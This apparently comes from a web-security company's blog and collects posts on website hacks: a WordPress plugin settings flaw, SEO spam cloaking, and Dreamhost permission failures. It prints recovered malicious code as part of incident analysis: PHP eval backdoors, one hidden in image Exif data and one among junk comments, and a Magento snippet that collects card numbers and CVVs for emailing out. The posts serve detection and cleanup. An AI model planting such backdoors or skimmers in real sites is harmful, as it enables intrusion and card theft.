Lessons from the FancyBox for WordPress Plugin Vulnerability

Last week a vulnerability in the WordPress plugin Fancybox for WordPress was exploited causing many websites to serve malware. A week later we thought it would be a good time to look at what went wrong and what lessons can be taken from the incident to hopefully improve WordPress plugin security going forward.

WordPress Plugin Security is in Bad Shape

When we started to look in to this, what we were most interested to see was what was the underlying vulnerability that allowed the websites to be hacked. Was it some obscure corner case that allowed a hacker access they shouldn’t have or was it some very fundamental failure? Since the developer stated they fixed the vulnerability in version 3.0.3 looking at the changes in that version was the starting place for understanding that. What the changes made show is that anyone could change the plugin’s settings. By anyone we truly me anyone, you didn’t have to be logged in to WordPress to change the settings. This wasn’t the intention of the developer, as can be see by the fact that only logged in users who are Administrators can access the plugin’s settings page.

The problematic code is the code for saving the settings, which did not check to make sure that the settings change came from the setting’s page. In 3.0.2 the code simply checked if a request for a setting updates was sent and then went on to save the settings:

if ( isset($_REQUEST[‘action’]) && ‘update’ == $_REQUEST[‘action’] ) {

The changed code in 3.0.3 checks to see where the request came from as well:

if ( isset($_REQUEST[‘action’]) && ‘reset’ == $_REQUEST[‘action’] && check_admin_referer( ‘mfbfw-options-options’ ) ) {

In many cases being able to change a plugin’s settings would not allow it to be used to serve malware. What allowed it in this cases is that the plugin has settings that allow additional code to be added to pages in which FancyBox for WordPress is present:

Fancybox for WordPress Extra Calls Settings Page

All the hacker had to do was to update the settings to turn on that feature and have it use their malicious code.

The fact that a plugin that now has over 600,000 downloads (each time an installed plugin is updated in WordPress that gets included in the download count, so the amount of websites using it is much lower) allowed anyone to change it’s settings and a hacker was the first person to discover this isn’t a good sign for the security of WordPress plugins. We think that Automattic has at least some responsibility for improving this situation.

The response after the fact was much better. The vulnerability was quickly fixed and WordPress automatically pushed the updated version for those running at least WordPress 3.7 (which introduced automatic updates)

Understanding the Scope of Vulnerability

When dealing with a hacked website an important element in the cleanup process is understanding the scope of the exploitation, so that appropriate cleanup action is taken. While it doesn’t hurt to do more than what is needed, it can take more time and increase expenses, which can be a major hardship depending on the website.

In this case the direct impact of the vulnerability is somewhat limited. The hacker is able to add code to the setting and that is loaded on pages on the website but because the setting is stored in the database safely using the update_option function they can not otherwise gain access the database through the vulnerability. It is possible for malicious JavaScript to provide the hacker additional access to the website if an admin was to have visited a page that has the code on it while logged in.

Once a website upgraded to at least version 3.0.4, any malicious code currently stored in the setting is disabled and the vulnerability is patched, so the website should be secure at that point, but you may want take the precautionary measures of changing the passwords associated with the website and checking over the website for malicious code or reverting the website to a backup made before the website was originally hacked.

The Settings API

When looking at how to improve code security, hoping that people will start writing secure code on their own isn’t a good bet. Some combination of making it easier to do things securely and making it harder to write insecure code seems to be an important element to improving the situation.

So could be something be done to deal with this type of situation? There already is a way to handle saving settings securely, the Settings API, which was introduced in WordPress 2.7. This API handles managing settings and only allows settings to be saved by users with manage_options capability, which is normally only given to Administrators (and Super Admins when using MultiSite). The problem with it is that it doesn’t appear to be used in many plugins (that includes our plugin with a settings page, which we are looking to rectify). It would be worth looking in to how to make it so that it is more widely used going forward.

Security Journalism is in Bad Shape

You don’t have to follow IT security closely to know that it isn’t in good shape these days, with major company after company revealing that sensitive customer data has been breached. Good IT security journalism could be an important piece of shining a light on bad practices (which are abundant) and ultimately getting security where it should be. Unfortunately, what we have found is that security journalism is in as bad or worse shape than the security they cover. Take for instance The Register’s article on the situation with this plugin. It misses many important details, like the fact the plugin was being automatically updated for many and that the update would take care of much of the issue. It then follows that up with some truly bad reporting:

The vulnerability followed what was described as the “most serious” hole in five years, disclosed last November, that affected what was then estimated to be 86 per cent of WordPress websites. That cross-site scripting hole was found in the hugely-popular WP-Statistics plugin.

First off we have yet to see any impact from the vulnerability that is mentioned as being the “most serious” hole in five years, its limited impact would be something to mention several months after it was fixed in outdated installs (the current version at the time was not vunerable, which would have been worth mentioning as well). The bigger mistake is that the author of the article is conflating a vulnerability in WordPress itself with an unrelated vulnerability in the the WP-Statistics plugin, despite having also written the article they are citing about the previous vulnerability.

Your Website Probably Wasn’t Hacked by a Competitor or Former Employee

When first discussing with a potential client about dealing with a hacking issue on their website what often comes up are questions about who hacked them and why. On a fairly regular basis they suspect it was a competitor or someone previously involved with the website. In reality the person hacking the website is almost always going to be someone who has no knowledge of the specific website, much less has any connection to it. These hackers are not targeting specific websites, instead they are just trying to gain access to as many websites as possible to use for their own purposes. To get a better idea of what is going on lets take a look at a hacking on a fairly high profile company’s website.

A recent hack we looked at involved a website having a set links added to the website’s page when Google crawled them (this is referred to as cloaking). Several of the links stood out, as they were to pages on justborn.com. You might not recognize the company the website belongs to, Just Born, but you probably are familiar with their products, which include Peeps, Mike and Ike, and Hot Tamales. When visiting one of the linked pages, http://www.justborn.com/services.cfm, the website looks normal at the top but then as you look farther down the page it has repeating text about soccer jerseys:


In fact all of the main content of the page is like that (click to enlarge):

just-born-spam-hack-2By comparison the page it looks like the hacker based the spam page on, http://www.justborn.com/mike-and-ike/the-story, has normal content:


Creating a page on their website with a bunch of text about soccer jerseys wouldn’t make much sense for a competitor or a former employee to do, so what is the purpose of this? Well if you come to the page through a search engine you are redirected to http://www.jerseysokbuy.com/, which as the address suggests is selling jerseys. If you do a search on their address on Google the second result is a page on ScamGuard that describes the website as a “Fake merchandise web-store operating from China. Consumers are advised to avoid making purchases from this site.“. Due to how Google ranks pages this type of hacking can lead to getting pages on websites otherwise unrelated to the product to rank highly. For example, earlier this year we found that a hacking campaign was able to get a website to rank in the top ten for UGG boots, the problem as shown in one of the screenshots in that post is that Google will usually catch up with this eventually and label the website as being hacked. That is part of why the hackers try to get access to as many websites as possible so they can switch to new websites when the old websites get labeled or the webmaster catches on and cleans up the hack.

Interestingly, while someone involved with the webiste is hacking other websites to direct to traffic to jerseysokbuy.com, they don’t appear to be interested in getting traffic directly to their website as the listing for their own website in Google says “A description for this result is not available because of this site’s robots.txt – learn more.”.



Hackers Hiding Malicious Code in Exif Data of Images

We don’t write much on what hackers do with websites once they hacked them since the focus of security companies should be on making sure that website don’t get hacked in the first place, which wouldn’t be hard to do if the companies were interested in that, but sometimes hackers are doing something worth discussing.

Hackers use various methods to try to hide the malicious code they add to websites. Oftentimes they obfuscate the code in some way, though this often makes it easier to spot the malicious code since very little legitimate code on a website would be similarly obfuscated. While cleaning a website recently we dealt malicious code that was one hand better hidden to some detection methods, but on the other hand caused the fact the website was hacked to be identified when it hadn’t been otherwise identified for some time. The website in question had been repeatedley hacked through the exploitation of a vulnerability in an outdated version of the Joomla extensions JCE. Once one of the hackers had gained access to the website they placed malicious code into the Exif data, which stores information on the camera that took the photo, of existing images on the website. The hacker replaced the existing data on the camera maker and model with malicious code:

Malicious Code in Exif Data

When deobfuscated the full code in the model tag reads:

if (isset($_POST[“zz1”])) {eval(stripslashes($_POST[“zz1”]));}

That code would evaluate (run) the data sent with POST variable zz1.

On its own the image file is harmless since the web server will not run the code stored in the Exif data, so a second file is used in conjunction with the image file. In this case the file consisted of two lines of code:

$exif = exif_read_data(‘/[redacted]/templates/ja_purity/images/header/header4.jpg’);

The first line reads the Exif data and the second executes the code stored in the image. The code looks rather harmless by itself, so it could easily be missed when checking for malicious code.

If a malicious code scanner doesn’t check the Exif data of image files then the malicious code could unnoticed in that as well. In this case the malicious code was detected not by something scanning the server, but by desktop antivirus software checking as the website was being visited by normal users. When we were first contacted about the website we were somewhat confused about why it would be setting anti-virus software because we were not being served any malware by the website and the only outward impact of the hack was some hidden spam links, which usually don’t set off anti-virus software. Once we got in to clean it up we found the malicious code in some image file’s Exif data and were able to figure out what was going on.

Running an image file with the modifications made by the hacker to the Exif data through VirusTotal shows that 21 of the 53 virus scanners they check currently identify the malicious code (shown below). Of those, 13 include PHP in their label which makes identifying what is going easier than other likes Symantec, which simply lists it as a “Trojan Horse”.

AVG: PHP/Small.A
Ad-Aware: Trojan.PHP.Agent.GA
AntiVir: PHP/Agent.xadx
Avast: JPG:PHPAgent-A [Trj]
BitDefender: Trojan.PHP.Agent.GA
CAT-QuickHeal: JPEG.Trojan.Agent.GA
Emsisoft: Trojan.PHP.Agent.GA (B)
F-Secure: Trojan.PHP.Agent.GA
GData: Trojan.PHP.Agent.GA
Ikarus: Backdoor.PHP.Agent
Kaspersky: Trojan.PHP.Agent.dn
McAfee: Generic BackDoor.agb
McAfee-GW-Edition: Generic BackDoor.agb
MicroWorld-eScan: Trojan.PHP.Agent.GA
Microsoft: Backdoor:PHP/Small.J
NANO-Antivirus: Trojan.Jpg.Agent.cgxikf
Norman: Backdoor.CDG
Symantec: Trojan Horse
TrendMicro-HouseCall: BKDR_ZZPEG.SM
nProtect :Trojan.PHP.Agent.GA

Credit Card Compromises in Magento

On more than a few occasions we have been contacted by someone running a Magento store concerned that credit cards used on the store are getting compromised somehow. In some cases the person running the store is pretty sure it is happening because they tried using a brand new credit card on the store and shortly afterwards attempted charges for other things are made with the card, but they don’t know what could have caused the store to be compromised. In more than a few cases the person running the website has run a PCI scanner on the website and it has found nothing, so they are not sure what is going on. Since we have seen that in every instance so far the store was in fact compromised and with the same cause, we though it worth mentioning the source we have found in those cases. Keep in mind that there could be other causes for this as well.

What we have found is that the compromise of the credit cards through the store has been done by a hacker adding code to the file /app/code/core/Mage/Payment/Model/Method/Cc.php. Below is the code that we found on one website. In this case the first portion of code collects the various pieces of the credit card data and then in the second portion the credit card data is sent off to the email address pacarding@yahoo.co.id.

$owner = $info->getCcOwner();
$ccnumber = $info->getCcNumber();
$expmont = $info->getCcExpMonth();
$expyear = $info->getCcExpYear();
$issue = $info->getCcCid();

$today = date(“F j, Y, g:i a”);
$to = “pacarding@yahoo.co.id”;
$subject = “CC-example.com”;
$from = “CARDING-Fence”;
$headers = “From:” . $from;

We have seen various code added, so there isn’t one thing to look for. The easiest way to check for a modification is to download a fresh copy of the version of Magento being used on the website and then do a file comparison of the /app/code/core/Mage/Payment/Model/Method/Cc.php on the website with the version in fresh download to see if changes have been made.

If there is malicious code in that file removing the code should stop the credit card data from being compromised, but you will still need to take a number of other steps. We have found that in some cases other malicious code is added to the website, so anything else added will need to be removed either by removing the code or restoring the website to a clean backup copy. You also need to determine how the website was hacked and fix that, so the website doesn’t get re-hacked. If you don’t have the expertise to do those things we have a service for cleaning up hacked Magento stores. At that point you should also review if you are meeting the security requirement of your credit card processor and check what notification you may need to provide due to the breach.

Hacked Websites Used To Get Top 10 Search Result For UGG Boots

When hacked websites are covered in the news it is usually due to information stored on the websites being compromised or malware being added to the website, but many websites are hacked for the less newsworthy goal of getting a top search result. We most often see this type of hack used to try get top search results for pharmaceutical related terms, hence this type of hack is often incorrectly labeled as being a pharma hack. We just ran into a set of websites hacked to reach the top search results for a very different item, UGG boots. The Huffington Post reported earlier this week that UGG boots are the fourth most most popular searched gift on Google Shopping, so it is easy to understand why this term would be targeted. In this case the hackers have been fairly successful in making it to the top of the results. Currently the eighth result for the search term for “UGG boots” in Google is one of the websites they have hacked:

UGG Boots Search Result Page 1

At this point Google has detected that website in question has been hacked, but they haven’t removed it from the search results. To put that place in the results in perspective, major chains DICK’S Sporting Goods, Victoria Secret, and Bloomingdale’s all have their UGG Boot pages showing up on the second page of search results for the term.

Hackers also made it to the eight spot for the term “uggs” using another hacked website:

Uggs Search Result Page 1

So how do the hackers gain top spots in the search results? The hackers use two sets of websites that they hacked. The first set are hacked to add links to pages on the second set of website. In the first set of websites HTML code full of links like this are added to the website:

Spam Link Source Code

Links are an important factor in how Google decide what pages to show in their search results, so if you can hack a lot of website and insert links to a web page you want to get in the top search results, you can make it happen.

The second set of websites are hacked to show Google content related to the search term instead of their usual content, which is referred to as cloaking. One of the websites in the links above is the website for the Virginia Department of Rail and Public Transportation and you can see the cloaking in action with it. If you do a search for their website right now on Google you will get this listing:

VA DRPT Google Search Result

Hackers Attempting To Hide Malicious Code in Files With Comments

When hackers add malicious code to a website’s files they often obfuscate it in some way. A simple method looks like this:


This method isn’t very effective as a method to disguise the code as the code will stick out and it is easy enough to do a search through all the files on a website for eval(base64_decode( and similar functions that are used, find matching code, and then undo obfuscation to check for malicious code. We sometimes see other methods are more effective, but more often than not the less effective ones are used. One other method that we have been seeing used a lot recently is hiding the code among numerous comments. Because comments are ignored when code is executed, the additional code only impacts someone trying to review the code. Here is one example of malicious code hidden among comments:

/*YbOO*/if/*_U<fJOm8*/(/*7SS}M*/isset/*OaC*/(/*rXOJ3*/$_REQUEST/*C3!*/[/*Ui&*/’j’/*!~Me*/./*-iBU&(*/’g’/*).5\l*/./*nt`jgl*/’k’/*@^j?*/./*\8Mw<^*/’vo’/*N;k|BW*/]/*:s;*//*<@]w~!*/)/*Pd *//*BCEmq*/)/*VgLpn*/eval/*e+Ms!=>*/(/*TDB!*/stripslashes/*^zpWo*/(/*HaLyQ;*/$_REQUEST/*:8L6&Ts*/[/*v>]b5i|*/’j’/*jMe*/./*(J&I8*/’g’/*(MJg:*/./*tj9-*/’k’/*79Y|yO*/./*ylwhw*/’vo’/*AKO’\s*/]/*nSL6}*//*a2I*/)/*%}!3*//*:T6pf@*/)/*4J:T&*//*\YykDeo*/;/*gi-`D*/

It probably looks like a bunch of gibberish to you. But amongst the apparent gibberish is the malicious code (shown in bold):

/*YbOO*/if/*_U<fJOm8*/(/*7SS}M*/isset/*OaC*/(/*rXOJ3*/$_REQUEST/*C3!*/[/*Ui&*/’j‘/*!~Me*/./*-iBU&(*/’g‘/*).5\l*/./*nt`jgl*/’k‘/*@^j?*/./*\8Mw<^*/’vo‘/*N;k|BW*/]/*:s;*//*<@]w~!*/)/*Pd *//*BCEmq*/)/*VgLpn*/eval/*e+Ms!=>*/(/*TDB!*/stripslashes/*^zpWo*/(/*HaLyQ;*/$_REQUEST/*:8L6&Ts*/[/*v>]b5i|*/’j‘/*jMe*/./*(J&I8*/’g‘/*(MJg:*/./*tj9-*/’k‘/*79Y|yO*/./*ylwhw*/’vo‘/*AKO’\s*/]/*nSL6}*//*a2I*/)/*%}!3*//*:T6pf@*/)/*4J:T&*//*\YykDeo*/;/*gi-`D*/

When the comments are stripped out you can see the code by itself:


That code is a simple backdoor that will execute the code from the variable “jgkvo” when it is sent to a web page that the malicious code is in.

Dreamhost’s Gross Negligence To Blame For Recent Hacks

When we clean up a hacked website removing the hack is usually the easy part of the work, most of the time spent and needed expertise is used to determine how the website is hacked. Without doing this you leave the website vulnerable to being hacked and in some cases you leave many others vulnerable to also being hacked. Many companies that clean up hacked websites don’t do this or do it very poorly. In other cases people will just blame something without do any work to check if that actually was the cause, we recently discussed how Dreamhost does that.

In the past few weeks there have been ongoing series of hack on Dreamhost hosted websites. The characteristics of this particular hack are a directory named .logs created in the root of the website, a base64 encoded block of code added to PHP files, and the website sometimes redirecting to a .rr.nu domain name. When we went into clean up the first website with this hack the information we had indicated that it was likely due to a security vulnerability with Dreamhost. This would make it hard to determine the source of the hack as Dreamhost would be the only one with all of the necessary information to do that and web hosts have a history of not taking possibility of security issues in their systems seriously.

With the Dreamhost hack we almost immediately identified what appeared to be the source of the hack, but we needed a small but critical piece of information from Dreamhost to confirm the source. For two weeks Dreamhost has been stonewalling their customer’s requests for this information. Yesterday, Dreamhost posted something that, while showing they don’t understand the proper security of shared hosting and blaming their customers for that failure, confirmed that what we had suspected was correct. If Dreamhost had acted professionally and responded promptly to their customers in this situation this could have been resolved two weeks ago and many more websites would not been hacked. Even now Dreamhost is leaving most of their customers vulnerable to their security weakness; you can fix that for your account and please make sure to warn other Dreamhost customers to do so as well.

Whose File Is That?

Once we gain access to a hacked website’s files we do a thorough review of them using a number tools and methods. In this situation we almost immediately identified a file that seemed to be the root of the hack in the website and more importantly we noticed that the file was not owned by the client’s Dreamhost account. This file was not detected by the security scan run by Dreamhost on the website before we got to it (their scans also have a bad record of rather blatant false positives).

Our first thought was that the file’s owner might be different because it was created by software running on the website. In some setups those files are owned by a different user. We checked files that we knew were created by software on the website and they were owned by user’s account, so that was ruled out. This also meant that the file had not gotten there by a hacker exploiting a vulnerability in software on the website.

The next step was for our client to contact Dreamhost and find out who the file belonged to. The user could have been another user on the server, another Dreamhost user, or something belonging to software running on the server. We also asked them to see if Dreamhost would tell them how the file got there, but based on Dreamhost’s track record we assumed they would be unlikely to be able answer that. That client and subsequent clients have been contacting Dreamhost and asking them who the file belongs to in their accounts and so far Dreamhost has refused to give them any answer, despite sometimes repeated requests. Based on the timeline, it would appear that our information could have been being used by Dreamhost though.

Based on the usernames we were seeing we suspected that the other user was likely to be another Dreamhost user, probably on the same shared server, but we needed Dreamhost to confirm this to know for sure. We can’t think of any reason they wouldn’t tell their customers whose files it is, when it is showing up in their account. If Dreamhost had just given this basic information this issue could have been fixed then instead of this continuing on.

That is Not Enhanced User Security

How could one user add files to another user’s account? One possibility is that there was a vulnerability in some software on the server that allowed it to happen. Another possibility is that Dreamhost doesn’t properly handle permissions on their servers. In a shared hosting setup users should never be able to access other user’s files or directories no matter the permission the user sets on those files and directories. Web hosts that improperly handled permissions in the past have led to major hacks, so a web host has no excuse for not knowing that this needs to be done and they would be grossly negligent if they were not doing it. We have long warned that a web host needs to handle permissions properly to keep websites secure from likely hacks.

While looking for something else we found that Dreamhost has a feature they call Enhanced User Security.

The documentation for the feature says that when enabled:

  • The user and his scripts have the same access to the home directory as when the option is disabled.
  • Other users on the same account have limited access to your home directory (as other Dreamhost users do when Enhanced User Security is disabled, above).
  • Other Dreamhost users no longer have any access to your home directory. They cannot enter your home directory or subdirectories or access any files, no matter how lax the permissions are set. Note: The Apache user is in the group ‘adm’, and thus still has access to the home directory.

The documentation for the feature says that when disabled:

  • The user has full read/write access to his own home directory, as do user scripts (such as PHP) which run as the user, by using suEXEC.
  • Other users on the same account also have full read/write access to the home directory, except that they may not rename, delete or create files or directories. However, they may perform these actions in sub-directories that have group +w permission (e.g. rwxrwx–x or 771).
  • Other Dreamhost users have some limited access to your home directory. They may not read the list of filenames in the home directory, and may not rename, delete or create files or directories. However, they can read any other file or directory listing which is accessible to the web server, assuming they know the path and filename or can guess. They may also read, and possibly write or modify, any file or directory which has too lax permissions set (e.g. 755 or 777).

They can call that Enhanced User Security if they want, but what that features really provides is the basic level of security a web host should be providing. If this was enabled by default, as the documentation claims, then it would only be a concern if somebody were to accidentally disable the feature. Unfortunately, the claim that the feature is enabled by default is mostly false. The history of the documentation shows that the documentation was changed to claim that the feature is enabled by default on March 1, 2012. In the accounts we checked the feature was not enabled by default and the blog post says it ” is now on by default for all new users”. It unconscionable that Dreamhost would leave their existing customers vulnerable to this. Dreamhost should immediately enable feature this in all the accounts.

With Dreamhost’s improper permission handling hackers that had access to one account on a Dreamhost server could gain access to any account that had a directory with more permissive permissions that they could find on that server. We have seen indications that hackers have had access to Dreamhost accounts that could, in hindsight, have been due to this issue for some time. What appears to have happened now is that hacker(s) have become more aggressive in exploiting this or found a way to more easily identify more directories that were vulnerable due to Dreamhost’s negligence. It could be that additional information was gathered by them during the recent, acknowledged, hack of Dreamhost’s systems.

Enabling “Enhanced User Security”

To enable Enhanced User Security log in into your Dreamhost account, click the “Manage Users” link in the left hand menu, click the “Edit” link next to the account, on the next page check the “Enhanced security?” box and finally click the “Save Changes” button.

Enhanced Security Checkbox

Dreamhost Doesn’t Care About Security

Just based on what has happened in this case we would say that it is pretty clear that Dreamhost doesn’t care about security and you should avoid them, but Dreamhost has a track record of ignoring glaring security issues. It was only after another recent hack of their systems, which exposed their user information, that they appear to have finally taken the step of hashing passwords despite being warned about that for years. They have also shown that they ignore the security advice they give to others when it comes to their own website. By continuing to use their service you are not only continue to put your website at risk, but you are supporting a company that puts many others at risk as well.

We also have to question why WordPress continues to list Dreamhost as a recommend web host. At least in the past, they emphasized the web host’s responsibility when it comes to permissions:

A properly configured web server will not allow users to access the files of another user, regardless of file permissions. The web server is the responsibility of the hosting provider. The methods for doing this (suexec, et al) have been around for 5+ years.

How the basicpills.com Spam Links are Getting Into Websites

There has recently been a lot of discussion about a hack that added spam links, primarily to basicpills.com, into the databases of WordPress based websites. These spam links are then included in some of the pages generated by WordPress in the website. What we have not seen explained so far is how the hack has been occurring. Determining the source is essential to cleaning up the website, otherwise you leave the website vulnerable to being rehacked. If we had cleaned up a website with the issue we would have worked on determining that for our client and we would expect that any companies cleaning up websites would have done the same but unfortunately they often don’t.

So far we have not had any clients with the issue, but several days ago we did clean up a website that appears to have been used to place those spam links into websites at a different web host. Among the files we found a file containing a listing of the database host, database username, database login, database name, database prefix, and the addresses for quite a few WordPress based websites. We contacted the host to alert them to what we had found and to inquire into the source of the issue.

What we have been told is the web server itself had been exploited and not individual websites, they are still in the process of determining what exactly allowed this exploit. So the issue is not caused by an issue with WordPress or an individual user’s computer. Once the web server is exploited it is possible to read the wp-config.php file, which stores the database information that WordPress uses, in user’s accounts and access their databases to add the spam links. Because the web server is exploited the file permissions of wp-config.php do not have an effect on whether it can be read or not.

If have been dealing with this issue let your host know that the server has been exploited. If they refuse to acknowledge they have an issue and fix it, it is time to find a new host. If you looking for  a new host, we provide some information on what ask a hosting provider to determine if they handle security properly here and a list of providers we have found to have security issues here.

If any hosting provider would like to see about sharing information on the issue with the host we have been in contact with, please contact us and we will pass along their information.